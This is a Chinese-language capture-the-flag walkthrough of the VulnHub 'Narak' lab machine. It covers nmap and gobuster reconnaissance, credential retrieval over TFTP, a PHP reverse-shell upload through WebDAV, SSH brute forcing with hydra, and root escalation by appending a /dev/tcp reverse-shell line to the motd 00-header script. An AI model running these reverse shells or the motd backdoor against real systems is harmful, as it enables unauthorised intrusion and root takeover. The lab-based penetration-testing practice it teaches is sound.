当前位置: 首页 > news >正文

VulnHub-Narak靶机笔记

Narak靶机笔记

概述

Narak是一台Vulnhub的靶机,其中有简单的tftp和webdav的利用,以及motd文件的一些知识

靶机地址: https://pan.baidu.com/s/1PbPrGJQHxsvGYrAN1k1New?pwd=a7kv

提取码: a7kv

当然你也可以去Vulnhub官网下载

一、nmap扫描

1)主机发现

sudo nmap -sn 192.168.84.0/24
Nmap scan report for 192.168.84.130
Host is up (0.00026s latency).
MAC Address: 00:0C:29:38:2B:28 (VMware)

看到192.168.84.130是靶机ip

2)端口扫描

a) TCP端口
sudo nmap -sT --min-rate 10000 -p- -o ports 192.168.84.130
Nmap scan report for 192.168.84.130
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:38:2B:28 (VMware)# Nmap done at Fri Sep 20 11:59:44 2024 -- 1 IP address (1 host up) scanned in 1.91 seconds
b) UDP端口
sudo nmap -sU --top-ports 20 -o udp 192.168.84.130
Nmap scan report for 192.168.84.130
Host is up (0.00066s latency).PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   closed        isakmp
514/udp   closed        syslog
520/udp   open|filtered route
631/udp   closed        ipp
1434/udp  closed        ms-sql-m
1900/udp  open|filtered upnp
4500/udp  closed        nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:38:2B:28 (VMware)# Nmap done at Fri Sep 20 12:01:21 2024 -- 1 IP address (1 host up) scanned in 7.99 seconds

看到69号tftp可能是开放的,一会可以看看有没有什么可以传输的文件

3)详细信息扫描

sudo nmap -sT -sV -sC -O -p22,80 -o details 192.168.84.130
Nmap scan report for 192.168.84.130
Host is up (0.00077s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 71bd592d221eb36b4f06bf83e1cc9243 (RSA)
|   256 f8ec45847f2933b28dfc7d07289331b0 (ECDSA)
|_  256 d09436960480331040683221cbae68f9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: NARAK
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:38:2B:28 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 20 12:00:51 2024 -- 1 IP address (1 host up) scanned in 8.02 seconds

二、web渗透

打开 80端口

在这里插入图片描述

没有什么有价值的信息,我们进行目录爆破

1)目录爆破

sudo gobuster dir -u http://192.168.84.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip,rar,txt,sql
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.84.130
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,sql,zip,rar
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 317] [--> http://192.168.84.130/images/]
/tips.txt             (Status: 200) [Size: 58]
/webdav               (Status: 401) [Size: 461]
/server-status        (Status: 403) [Size: 279]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================

看到几个目录和文件被扫描了出来,我们全部打开看看

image-20240921114102749

在tips.txt中,他说打开narak的提示可以在creds.txt中找到。但是我们现在并不知道creds.txt在哪里

接着看webdav

image-20240921114441008

他需要认证,我们并没有有效地凭证信息

三、tftp渗透

在udp扫描中,我们看到了tftp端口可能是开放的,而我们在tips.txt文件中看到了一个存在creds.txt文件的信息

尝试一下

tftp 192.168.84.130

image-20240921115715361

tftp是一种简单的文件传输协议,比较小巧,搭建也很方便。他不能列出系统文件,只能进行一些简单的文件操作

get creds.txt

image-20240921120030280

cat creds.txt 
eWFtZG9vdDpTd2FyZw==

看到是类似于base64加密,解秘看看

cat creds.txt | base64 -d
yamdoot:Swarg  

发现了一组凭据yamdoot:Swarg

四、获得立足点

拿到凭据肯定要尝试ssh登陆

image-20240921120612189

看到这并不是ssh的凭证,那会不会是webdav的呢?

尝试登陆webdav

image-20240921120737068

成功登陆

用davtest测试以这个webdav服务

davtest -url http://192.168.84.130/webdav -auth yamdoot:Swarg
********************************************************Testing DAV connection
OPEN            SUCCEED:                http://192.168.84.130/webdav
********************************************************
NOTE    Random string for this session: _8C8yvKn
********************************************************Creating directory
MKCOL           SUCCEED:                Created http://192.168.84.130/webdav/DavTestDir__8C8yvKn
********************************************************Checking for test file execution
EXEC    txt     SUCCEED:        http://192.168.84.130/webdav/DavTestDir__8C8yvKn/davtest__8C8yvKn.txt
EXEC    txt     FAIL
EXEC    jsp     FAIL
EXEC    html    SUCCEED:        http://192.168.84.130/webdav/DavTestDir__8C8yvKn/davtest__8C8yvKn.html
EXEC    html    FAIL
EXEC    asp     FAIL
EXEC    jhtml   FAIL
EXEC    aspx    FAIL
EXEC    pl      FAIL
EXEC    cfm     FAIL
EXEC    cgi     FAIL
EXEC    shtml   FAIL
EXEC    php     SUCCEED:        http://192.168.84.130/webdav/DavTestDir__8C8yvKn/davtest__8C8yvKn.php
EXEC    php     FAIL
********************************************************

看到是可以解析php文件的,构造php_reverse.php

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.84.128/4444 0>&1'"); ?>

cadaver,这是webdav服务的客户端

image-20240921122315816

image-20240921122338650

看到上传成功

kali本地监听,并在浏览器访问php_rev.php

image-20240921122623325

成功获得立足点

五、提权到root

通过查看可写文件,找到了一些令我们感兴趣的

find / -writable -type f -not -path '/proc/*' -not -path '/sys/*'  2> /dev/null

image-20240921131413327

看到sh文件和motd文件

motd(Message of the Day)文件用于在用户登录 Linux 系统时显示欢迎信息或通知。它通常用于向用户提供系统信息、公告、或其他登录时需要注意的事项。

cat hell.sh
#!/bin/bashecho"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

看到了一串beef字符串,复制到hell文件中,解密

image-20240921130012583

看到了明文信息,去碰撞一下ssh

image-20240921130118856

一共有三个用户,把用户放到users文件,chitragupt放到pass文件

image-20240921130409005

用ssh登陆进去

image-20240921131615806

直接去motd文件下吧

image-20240921131948177

这里可以在00-header文件中添加我们的提权逻辑

echo -e "bash -c \"bash -i >& /dev/tcp/192.168.84.128/8888 0>&1\"" >> 00-header

在kali中监听8888端口,并重新ssh登陆inferno用户

image-20240921135011973

看到#提示符,提权到了root权限

总结

  • 通过nmap扫描,我们发现22,80的TCP端口是开放的,udp的69端口tftp服务可能是开启的
  • 进行目录爆破发现目标机器有webdav服务,并且知道了目标有creds.txt文件。
  • 利用tftp协议拿到了creds.txt,里面记录了webdav的凭证信息,成功登陆webdav
  • 利用cadaver这个webdav客户端,上传php反弹shell,成功获得了立足点。
  • 翻找系统可写文件,发现了一个sh和motd文件,查看sh文件猜测是一个用户的ssh凭证,用hydra成功爆破出ssh的凭证
  • 用motd的00-hearder文件的逻辑完成了提权操作

相关文章:

VulnHub-Narak靶机笔记

Narak靶机笔记 概述 Narak是一台Vulnhub的靶机&#xff0c;其中有简单的tftp和webdav的利用&#xff0c;以及motd文件的一些知识 靶机地址&#xff1a; https://pan.baidu.com/s/1PbPrGJQHxsvGYrAN1k1New?pwda7kv 提取码: a7kv 当然你也可以去Vulnhub官网下载 一、nmap扫…...

查看和升级pytorch到指定版本

文章目录 查看和升级pytorch到指定版本查看pytorch的版本python 命令查看pytorch的版本使用pip 命令查看当前安装的PyTorch版本升级PyTorch到指定版本 升级到特定的版本 查看和升级pytorch到指定版本 查看pytorch的版本 python 命令查看pytorch的版本 通过Python的包管理工具…...

Maya---机械模型制作

材质效果&#xff08;4&#xff09;_哔哩哔哩_bilibili 三角面 四边面 多边面 *游戏允许出现三角面和四边面 游戏中一般是低模&#xff08;几千个面&#xff09; 动漫及影视是高模 机械由单独零件组合而成&#xff0c;需独立制作 低面模型到高面模型 卡线是为了将模型保…...

请不要在TS中使用Function类型

在 TypeScript 中&#xff0c;避免使用 Function 作为类型。Function 代表的是“任意类型的函数”&#xff0c;这会带来类型安全问题。对于绝大多数情况&#xff0c;你可能更希望明确地指定函数的参数和返回值类型。 如果你确实想表达一个可以接收任意数量参数并返回任意类型的…...

关于UVM仿真error数量达到指定值就退出仿真的设置

1. 问题描述 在某项目调试过程中&#xff0c;发现通过tc_base.sv中new函数里的set_report_max_quit_count()设置最大error数量不生效&#xff0c;uvm_error数量仍旧是达到10个&#xff08;默认&#xff09;就会退出仿真。 2. 设置uvm_error到达一定数量结束仿真的方式 由白皮…...

chatGPT问答知识合集【二】

Redis 架构说明 Redis 是一个开源的内存数据库&#xff0c;它也可以持久化到磁盘。以下是 Redis 的典型架构说明&#xff1a;### Redis 架构组件&#xff1a;1. **客户端**&#xff1a;与 Redis 服务器进行通信的应用程序或客户端库。2. **Redis 服务器**&#xff1a;执行实际…...

不靠学历,不拼年资,怎么才能月入2W?

之前统计局发布了《2023年城镇单位就业人员年平均工资情况》&#xff0c;2023年全国城镇非私营单位和私营单位就业人员年平均工资分别为120698元和68340元。也就是说在去年非私营单位就业人员平均月薪1W&#xff0c;而私营单位就业人员平均月薪只有5.7K左右。 图源&#xff1a;…...

【软考】多核CPU

目录 1. 说明 1. 说明 1.核心又称为内核&#xff0c;是 CPU 最重要的组成部分。2.CPU 中心那块隆起的芯片就是核心&#xff0c;是由单品硅以一定的生产工艺制造出来的&#xff0c;CPU 所有的计算、接收/存储命令、处理数据都由核心执行。3.各种 CPU 核心都具有固定的逻辑结构&…...

制作炫酷个人网页:用 HTML 和 CSS3 展现你的风格

你是否觉得自己的网站应该看起来更炫酷&#xff1f;今天我将教你如何使用 HTML 和 CSS3 制作一个拥有炫酷动画和现代设计风格的个人网页&#xff0c;让它在任何设备上看起来都无敌酷炫&#xff01; 哈哈哈哈哈哈哈哈,我感觉自己有点中二哈哈哈哈~ 目录 炫酷设计理念构建 HTML …...

WinCC中归档数据片段的时间和尺寸设置

1&#xff0e;归档数据片段介绍工控人加入PLC工业自动化精英社群 1.1 概述 WinCC V6.2 开始的后台数据库采用了MS SQL Server 2005 &#xff0c;所以归档方式与V5 有所不同&#xff0c;它的运行数据存放在数据片段&#xff08;segment&#xff09;当中&#xff0c;工程师可以…...

kubernetes网络(二)之bird实现节点间BGP互联的实验

摘要 上一篇文章中我们学习了calico的原理&#xff0c;kubernetes中的node节点&#xff0c;利用 calico 的 bird 程序相互学习路由&#xff0c;为了加深对 bird 程序的认识&#xff0c;本文我们将使用bird进行实验&#xff0c;实验中实现了BGP FULL MESH模式让宿主相互学习到对…...

动态语言? 静态语言? ------区别何在?java,js,c,c++,python分给是静态or动态语言?

JavaScript 被称为动态语言&#xff0c;而 Java 被称为静态语言 这主要与它们在类型系统、编译执行方式以及运行时行为等方面的不同特性有关。详细差异如下&#xff1a; JavaScript (动态语言) 动态类型&#xff1a; 在JavaScript中&#xff0c;变量的类型是在运行时确定的。这…...

计算机网络17——IM聊天系统——客户端核心处理类框架搭建

目的 拆开客户端和服务端&#xff0c;使用Qt实现客户端&#xff0c;VS实现服务端 Qt创建项目 Qt文件类型 .pro文件&#xff1a;配置文件&#xff0c;决定了哪些文件参与编译&#xff0c;怎样参与编译 .h .cpp .ui&#xff1a;画图文件 Qt编码方式 Qt使用utf-8作为编码方…...

C/C++面试题

关键字 1."#"&#xff0c;"##"的用法 #是字符串转换符&#xff0c;##是字符串连接符&#xff1b;发生在预处理阶段&#xff1b; 2.volatile的含义 防止编译器优化&#xff0c;告诉编译器每次都去真实地址中读取&#xff0c;而不是从寄存器或者缓存中&a…...

[3]Opengl ES着色器

术语&#xff1a; VertexShader&#xff1a;顶点着色器&#xff0c;用来描述图形图像位置的顶点坐标&#xff1b; FragmentShader&#xff1a;片元着色器&#xff0c;用来给顶点指定的区域进行着色&#xff1b; Vertex&#xff1a;顶点 Texture&#xff1a;纹理…...

Spring Boot 中实现任务后台处理的几种常见方式

​ 博客主页: 南来_北往 系列专栏&#xff1a;Spring Boot实战 前言 在现代应用程序中&#xff0c;后台处理对于处理发送电子邮件、处理文件、生成报告等任务至关重要。 Spring Boot 提供了多种机制来高效地实现后台任务。本文探讨了在 Spring Boot 中处理后台处理的各…...

部署--UmiJS

默认方案 umi2 默认对新手友好&#xff0c;所以默认不做按需加载处理&#xff0c;umi build 后输出 index.html、umi.js 和 umi.css 三个文件。 不输出 html 文件 某些场景 html 文件交给后端输出&#xff0c;前端构建并不需要输出 html 文件&#xff0c;可配置环境变量 HTM…...

python自学笔记

python部分总结 主要记录的是python与之前学的语言的不同之处 函数总结 首字母大写: name.title() 删除右边空格&#xff08;暂时&#xff09;:name.rstrip() 删除左边空格&#xff08;暂时&#xff09;:name.lstrip() 删除前缀&#xff08;暂时&#xff09;:name.removeprefi…...

Ubuntu磁盘不足扩容

1.问题 Ubuntu磁盘不足扩容 2.解决方法 安装一下 sudo apt-get install gpartedsudo gparted...

【ROS2】spin、spinOnce、spin_some、spin_until_future_complete

1、简述 spinOnce仅处理一个回调函数(ROS1); spin_some类似于ROS1的spinOnce,但处理多个任务,然后返回(ROS2); spin会持续处理回调函数直到无任务,然后阻塞(ROS1、ROS2); 注意: 只有消息推送(publisher)功能的程序,不需要使用spin_some(),因为它不执行任何回…...

后进先出(LIFO)详解

LIFO 是 Last In, First Out 的缩写&#xff0c;中文译为后进先出。这是一种数据结构的工作原则&#xff0c;类似于一摞盘子或一叠书本&#xff1a; 最后放进去的元素最先出来 -想象往筒状容器里放盘子&#xff1a; &#xff08;1&#xff09;你放进的最后一个盘子&#xff08…...

多种风格导航菜单 HTML 实现(附源码)

下面我将为您展示 6 种不同风格的导航菜单实现&#xff0c;每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...

C++使用 new 来创建动态数组

问题&#xff1a; 不能使用变量定义数组大小 原因&#xff1a; 这是因为数组在内存中是连续存储的&#xff0c;编译器需要在编译阶段就确定数组的大小&#xff0c;以便正确地分配内存空间。如果允许使用变量来定义数组的大小&#xff0c;那么编译器就无法在编译时确定数组的大…...

回溯算法学习

一、电话号码的字母组合 import java.util.ArrayList; import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"", //0"", //1"abc", //2"…...

【VLNs篇】07:NavRL—在动态环境中学习安全飞行

项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战&#xff0c;克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...

CSS | transition 和 transform的用处和区别

省流总结&#xff1a; transform用于变换/变形&#xff0c;transition是动画控制器 transform 用来对元素进行变形&#xff0c;常见的操作如下&#xff0c;它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...

【MATLAB代码】基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),附源代码|订阅专栏后可直接查看

文章所述的代码实现了基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),针对传感器观测数据中存在的脉冲型异常噪声问题,通过非线性加权机制提升滤波器的抗干扰能力。代码通过对比传统KF与MCC-KF在含异常值场景下的表现,验证了后者在状态估计鲁棒性方面的显著优…...

VisualXML全新升级 | 新增数据库编辑功能

VisualXML是一个功能强大的网络总线设计工具&#xff0c;专注于简化汽车电子系统中复杂的网络数据设计操作。它支持多种主流总线网络格式的数据编辑&#xff08;如DBC、LDF、ARXML、HEX等&#xff09;&#xff0c;并能够基于Excel表格的方式生成和转换多种数据库文件。由此&…...

【深度学习新浪潮】什么是credit assignment problem?

Credit Assignment Problem(信用分配问题) 是机器学习,尤其是强化学习(RL)中的核心挑战之一,指的是如何将最终的奖励或惩罚准确地分配给导致该结果的各个中间动作或决策。在序列决策任务中,智能体执行一系列动作后获得一个最终奖励,但每个动作对最终结果的贡献程度往往…...

规则与人性的天平——由高考迟到事件引发的思考

当那位身着校服的考生在考场关闭1分钟后狂奔而至&#xff0c;他涨红的脸上写满绝望。铁门内秒针划过的弧度&#xff0c;成为改变人生的残酷抛物线。家长声嘶力竭的哀求与考务人员机械的"这是规定"&#xff0c;构成当代中国教育最尖锐的隐喻。 一、刚性规则的必要性 …...